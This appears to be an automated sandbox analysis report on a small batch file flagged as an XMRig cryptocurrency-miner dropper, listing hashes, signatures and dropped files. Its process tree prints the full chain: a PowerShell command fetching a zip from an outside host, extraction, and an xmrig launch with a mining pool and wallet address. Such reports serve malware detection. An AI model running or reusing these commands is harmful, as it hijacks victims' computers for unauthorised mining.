Analysis
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max time kernel
1797s -
max time network
1799s -
platform
windows10-1703_x64 -
resource
win10-20230915-en -
resource tags
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submitted
14-10-2023 13:22
General
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Target
tesy - Copy (11).bat
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Size
702B
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MD5
65f016a2abe40d2902c7032438a14bd7
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SHA1
b3537668ca1bb826e5085aee38b3f7ec654d606e
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SHA256
153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
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SHA512
b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7
Malware Config
Extracted
https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip
Signatures
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XMRig Miner payload 64 IoCs
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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Blocklisted process makes network request 1 IoCs
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Executes dropped EXE 1 IoCs
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Suspicious behavior: EnumeratesProcesses 6 IoCs
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Suspicious behavior: LoadsDriver 1 IoCs
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Suspicious use of AdjustPrivilegeToken 4 IoCs
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Suspicious use of FindShellTrayWindow 1 IoCs
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Suspicious use of WriteProcessMemory 8 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K start.cmd2⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exexmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5c02c6d73da38900f36f4fbd73b7648f4
SHA12b7bef4e56ef872387ab7ede6fb54478fa813a6d
SHA256abbca7b9f8043c915b26aa2600a14ca706c2fa1bd039c3130754f5b2f70122e7
SHA512ede821ff110ee79e76ed5332002c5614ab723e61c6e9617e60101b6f02d1f9be040e254fe492d4dfdb992762c93af20c50e5386debd2537fb7483a0ed663ded3
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Filesize
1KB
MD5fe2d9164ee2543c102f8b8f3b47b8790
SHA194637fef7783907a26fee0421dcd58a1047afb77
SHA256b69559182a1b019ee2447a362fbef07e59cee5717f57004675e3f20263b28ab9
SHA5124ab8bbcbc3b00993ee594f9e8a8aa5f680291150cd010bb5b2d242cbb5a0249ed786657819bbdf018848b1041c2ccfc73c0871b91d63fa8e2e1375f8ddae2211
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
3.2MB
MD53238c0d25d84b6f0bb645bbb29cdbf61
SHA111ae550c8a82c0793862c366b92072ad7e18befe
SHA256b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb
SHA512d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556
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Filesize
170B
MD578657df2e34e338ff135d3dde69177bf
SHA1d5048a4270b7ba599e941d26d61bfa2e8da31fce
SHA2569004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98
SHA512f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004
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Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa
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Filesize
72KB
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Filesize
9.9MB
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Filesize
9.9MB
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Filesize
64KB
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Filesize
64KB
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Filesize
40KB
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Filesize
64KB
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Filesize
136KB
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Filesize
9.9MB
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Filesize
472KB
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Filesize
64KB
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Filesize
64KB
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Filesize
64KB
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Filesize
9.9MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
128KB
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Filesize
128KB
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Filesize
11.0MB
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Filesize
128KB
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Filesize
128KB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
-
Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
128KB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
256KB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
-
Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB